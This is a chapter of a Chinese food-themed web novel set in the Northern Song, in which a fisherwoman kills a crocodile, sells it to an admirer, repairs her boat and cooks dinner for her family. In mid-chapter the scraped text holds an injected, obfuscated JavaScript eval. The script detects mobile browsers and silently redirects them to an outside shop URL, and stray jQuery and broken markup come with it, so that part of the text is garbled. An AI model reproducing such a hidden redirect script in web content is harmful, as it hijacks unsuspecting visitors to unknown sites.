36. 杀鱼的第三十六天

作品:《北宋杀鱼手札(美食)

    眼见着那张长满巨齿的血盆大口越来越近,平安瞳孔微震,心跳如雷。


    刹那间,她只觉一股热流从后背腾起,直冲四肢,大脑尚未反应过来,手已下意识抓起鳄鱼尾巴大力朝反方向挥去。


    随着一声巨响,鳄鱼被重重摔落在地。


    就是此刻,平安抓住机会,俯冲上前,一手掐紧鳄鱼头部,一手重重挥拳。


    这家伙皮糙肉厚,力大又蛮横,她绝不能再给它任何反击的机会。这一刻,求生的本能盖过一切,她手下拳头如雨点般砸下,直至身下挣扎的鳄鱼再无动静,她方深吸一口气,站直身体。


    揉了揉通红的手背,平安踢了脚死透的鳄鱼,踱步收回长绳,她将船拉近泊岸,这才跃上船去查看船身。


    船舱与船头木板皆有损耗,她得快些把船带去修好,也不知道这东西卖出去能不能弥补她今日的损失。


    怕它附近还有同类,这地方不宜久留。将鱼叉与砍刀收好,平安提起鳄鱼扔上船头,便往码头赶去。


    这汉云码头是县里最大的农贸市集聚集地,她这鳄鱼说不定在那也能找到买家。


    “胡娘子,好久不见。”


    小船方悠悠靠岸,便听得有人唤。平安闻声望去,竟是齐鸣。


    他今日着一袭松绿色锦缎直裰,头上亦是玉冠华带,看着比在玉溪镇不知要矜贵几何。


    平安颔首,低声应道:“齐郎君。”


    齐鸣的目光在她周匝扫视,待见得她船头那一团绿色时,眸光不由闪烁。


    “这是?”


    平安将遮挡的草叶扯掉,围观众人瞬间倒吸一口凉气。


    “鳄鱼啊!!!快跑。”


    “在哪,在哪?”


    一时间码头人仰马翻,混乱不已。


    平安忙出声解释:“已经死了,大家别害怕。”


    见那东西半晌没得动静,众人这才安静下来。


    “乖乖,你这小娘子从哪弄来的这东西?”


    “看着可真可怖。”


    齐鸣也问道:“你拿这东西是打算干嘛?”


    “我想找个卖家。”平安指着破损的船头叹道,“当时我在河边歇息,这东西把我船给拍烂,从水边一跃而起就要扑我。幸好岸边有几块锐石,我情急之下拿起石头就是一顿猛砸,这才侥幸从它口中逃生。”


    “若是有人收,我就拿这钱将船给补补。”


    有人看了眼那鳄鱼体型,又打量平安一眼,质疑道:“你这娘子,娇娇弱弱的,怕不是从哪里捡来的吧。”


    平安并未辩驳,只是点头笑道:“您猜对了一半,我遇着它时,它已经受了伤,这才让我捡了个便宜。”


    见她如此说,又看她一身破破烂烂,满是搏斗的痕迹,众人这才打消几分疑虑,开始羡慕起她的好运气来。


    “这鳄鱼肉不知道是什么滋味?”有人砸吧着嘴,好奇问道。


    这问题,平安也不知,她也没吃过。


    “这肉散卖吗?”


    平安并未直接回答,只问:“你要多少?”


    “你先说说价格,若是合适,那就称个一斤回家尝尝味。”


    这鳄鱼身长近两米,起码得大几百斤,这样一斤一斤散卖不知要卖到什么时候,更何况她还没有带称。


    平安想了想,还是出言婉拒。


    一听她说要整只一起卖,码头旁瞬间围拢许多人,但凑热闹的人多,问价的却少。


    眼见事情越闹越大,齐鸣忙朗声插话:“胡娘子,借一步谈话?”


    平安瞥了眼船舱中的鱼,正欲开口拒绝,齐鸣便闻弦知雅意:“若你信得过我,我让家中随从替你看着。”


    正主一走,围观人群亦逐渐四散,再好看的热闹看上两眼,也就足够了。


    待两人行至僻静处,齐鸣方开口提议:“你这鳄鱼,我能替你找到销路。”


    “果真?”平安抬眸问道。


    “这还有假?”看她怀疑的模样,齐鸣哑然失笑,他拍了拍袖子,压低声音,“相识一场,这种小事还是能忙上忙的。”


    平安点点头,抿唇道:“若你帮我卖出去,我分你三成。”


    “这鳄鱼既可食用,又可药用,县里的富户或是药堂都用得上,它的皮硝制后还可做靴做包,这可是稀奇品,他们买来不会吃亏。”


    听她吹得天花乱坠,齐鸣轻笑:“胡娘子还是这样能言善语。”


    “我说真的,今日天色不早,我想早些卖完回家。你说能帮我找到卖家,你能做他的主?”说到后头,她的声音有些迟疑。她未明说的是,她更怕齐鸣并不认识什么卖家,而是自己花钱买了这条鳄鱼。可他并未直言,她也不好戳破,只得暗暗与他保持好距离。


    扪心自问,她虽对木头无什么男女之情,但她好歹也是有妇之夫,做不来婚内拜高踩低,琵琶别抱的丑事。


    “那是自然。”齐鸣眼眸微阖,指尖轻抚腰间玉珏,“我走南闯北,自是比普通鱼贩更知这鳄鱼的价值,你之前说得没错,便是我转手卖给药房,都能赚上差价。”


    “那便多谢齐老板襄助。”平安抚拳道谢,“若是可以,您看着报个价吧。”


    她之前囫囵报了个五贯,便是掂量着这鳄鱼重量,按猪肉价格所计,若是齐鸣出的价格跟这个大差不离,那她便快快脱手修船去。


    齐鸣驻步反问:“这样着急?”


    “是,家人都在服徭役,我得早些回家,不想让他们担心。”


    “徭役。”闻言,齐鸣眸光闪烁,沉声重复,他的声音又哑又慢,似将这两个字在唇齿间细细咀嚼。


    “今年徭役可重?”他话题一转,问起平安对徭役看法来。


    平安睨他一眼,不知他为何要做此问,为免招惹是非,她谨慎应道:“徭役筑堤修路这是好事,可对百姓来说也确是累事。”


    “挺中肯。”齐鸣咳了声,笑着将话题撇过。


    “六贯,买你那条鳄鱼。”


    “成!”平安立马接话,“那我给你一贯八的提点。”听到这个数,平安也不再矫情,若不是今日天色已晚,她寻些大商船问问,这鱼还不定卖出多少高价呢。


    “等拿到钱再说吧。”齐鸣拍拍手,不多时,便有人推来一架板车。


    征得平安同意后,他们合力将鳄鱼抬走。


    “需要剖吗?”平安望着板车,低声问道。


    齐鸣摇头,将钱递给她:“数数。”


    钱货两讫,平安将钱数出塞给齐鸣,齐鸣却推脱不要。


    “拿着吧,今日多亏了你。”


    “先在你那放着。”


    先放着,是托辞还是与她走近的借口?这两样皆不是平安心中所愿,她亦不喜欢做这种囫囵事。看说不通,平安强硬将钱塞进他怀中,他却拂手不接,直让铜钱哗啦落地,砸起一片灰尘。


    待平安拾起地上铜钱,便见他已摆手离去。


    这会怕是已过申时,望着他潇洒离开的背影,平安只得掏出几个铜板,拜托他家随从帮忙看着渔船,她则赶去街上去寻船匠替她修船。


    回到码头,平安让随从代为转交那一贯多钱,那随从却吓得连连摆手:“胡娘子,主人不收定然有他的道理,求您别为难咱做下人的。”


    看着他神情惶恐,言语不安,平安长叹一口气,只得暂时替留下齐鸣那笔钱。


    齐鸣对她有意之事,她一直知道,怕是连木头,他都已见过。


    木头斗促织那日,她就隐约察觉暗处有人窥伺,又在街角看到过他一闪而过的侧脸。


    她当时心中便有所怀疑,今日更是验证了她的想法。方才见得她挽髻,他的目光只在她头上停顿片刻,却只口不提此事。


    之前她便直言拒绝过他,如今他未提起这男女之事,她反倒不好自作多情劝他放下。


    望着甲板新换的木板,平安垂眸轻叹。


    神游间,却听那船工回首唤道:“船舱这会不好操作呢,你船上有鱼,板子又是湿的。我给你在内舱用两块木板加固,在未开裂前你先用着,这船暂时不会沉。”


    “怎样?”他问平安。


    “先这样办吧。”


    看平安将捞来的翘嘴抬出,一旁收俏货的鱼贩子见得这样肥美的翘嘴,忙上前搭话。两人拉扯半晌,平安按着市价的七成将一半鱼批给了他,共得钱九百三十文。


    紧赶慢赶,平安终于在爷爷他们归家前回了家。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315055|149090||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    将船停好后,她取出刷子,用船工送的桐油将甲板润了一遍,这才提鱼回家准备晚膳。


    因着路上的意外,好不容易捞出的鳜鱼也死了一条,更别提那些虾虾蟹蟹。


    这下好了,只得自己吃个饱。


    平安刚打开院门,灰灰与小白就冲了出来,热情地围着她打转。


    将鱼养好,给鸡圈扔了一把老白菜,平安忙赶回灶间烧火剖鳜鱼。


    这鳜鱼又名鯚鱼,桂鱼,性情凶猛,腹背有刺,若不是它已经翻了白,处理起来倒要多费些功夫。


    将鳜鱼鱼首尾分离,鱼肉剔出,平安用斜刀法把鱼肉片成薄如蝉翼的鱼片,她今日便用它来做一道鯚鱼假蛤蜊。


    待切完葱丝姜片,坛中的水也逐渐温热起来。


    将鱼肉用葱姜、酒、胡椒粉抓拌腌制,腌制鱼肉的功夫,平安打了桶水,迅速洗了个澡。


    将衣服换好,她才长舒一口气。之前在外没注意,回来才发现衣袖、裤脚、膝盖多处都出现破损,要是被爷爷他们看见,心里不知得害怕成什么样。


    挑挑拣拣,她又挑出些不大活跃的虾,又拿了六只螃蟹,顺道做一个虾蟹煲。


    将饭煮起,平安便开始处理虾蟹。


    用清水洗刷两遍后,开虾背,挑虾线,螃蟹去脐,砍成大小均匀的两半,刀面沾上一层豆粉定型。


    锅中下宽油,入姜片煸香,下虾蟹开始炸制。


    待虾身炸至通红,捞出螃蟹与部分虾盛出备用。


    锅中盛出部分油,放入水、盐、擂碎的姜末继续熬煮出鲜味。


    平安正在院中给青菜泼水,就听得院外木头兴高采烈地唤道:“娘子,快开门啊!”


    “来了!”


    平安拉开门闩,映入眼帘的便是木头灿烂的笑容。


    “哒哒哒,娘子快看。”


    他献宝似地从身后拿出一捧黄灿灿的美人蕉。


    “我听爷爷说这美人蕉的花蜜特别清甜,娘子你快尝尝。”


    “好,等我进去洗完手就吃。快进来。”平安将门推开,笑着接下。


    “这是什么,这么香?”木头嗅了嗅,挑眉看向自家娘子。


    “等下你就知道了,先去堂屋歇息下歇息,我在里面熬了些荸荠茅根饮。”


    趁爷爷还在后头,木头揽住平安便是窃香一口:“还是娘子心疼我。”


    炽热的体温霎时贴近,又很快离去,平安眼角颤了颤,轻轻推开他:“埋汰不埋汰。”


    看娘子垂首轻嗅手中花束,木头闷声暗笑,良久,他方低声回道:“嗯哼。”他家娘子就爱口是心非。


    这会锅中水已沸腾,平安将虾汤过滤澄清,重新下锅。


    水沸入鱼片,用筷子将鱼拨动打散,则立即抽火盖盖。


    就着锅中的余热,鱼片亦可很快烫熟。


    这道雪白鲜香的鯚鱼假蛤蜊一端上桌,木头的注意便被它吸引,连一旁的虾蟹煲与莼菜都未曾留意。


    今日的鯚鱼假蛤蜊肉片雪白细腻,入口鲜嫩爽滑,既有虾蟹的鲜香,又兼有几分蛤蜊的弹韧,不愧是汴京流行的名菜。


    喝一口热乎乎的鲜汤,吃一口滑嫩无刺的细腻鱼肉,别提有多爽。


    至于莼菜,则是用了鳜鱼的鱼头、鱼排、鱼尾熬出鲜汤后汆入,入口亦滑嫩鲜香,胶质浓郁。


    虾蟹煲也是色泽红艳,鲜香下饭。


    锅中入油盐、姜蒜、豆酱、大料、香叶煸香,将炸红的虾蟹下入锅中,倒入酱汁翻拌调味。


    待虾蟹爆炒出香味,便可倒入黄酒或骨头汤炖煮,再撒上些紫苏提香。


    文火慢炖收汁,在细密的咕噜声下,醇厚的蒜香、酱香、紫苏香便随着黄酒的蒸发慢慢炖入虾蟹之中,与虾蟹的鲜香完美融合。


    掀盖细观,待熬得只剩锅底少许酱红汤汁,如此咸、鲜、香三味方最为适宜。


    这样炖煮出来的虾蟹,肉质脆弹清甜,汤汁亦浓郁醇厚。


    待虾蟹吃完,下入一把煮熟的细面放入汤汁之中,简直可把人的舌头鲜掉。


    爷爷对今日的菜很是满意,他笑问:“今天是什么好日子?”


    木头闻言也抬头朝平安望去。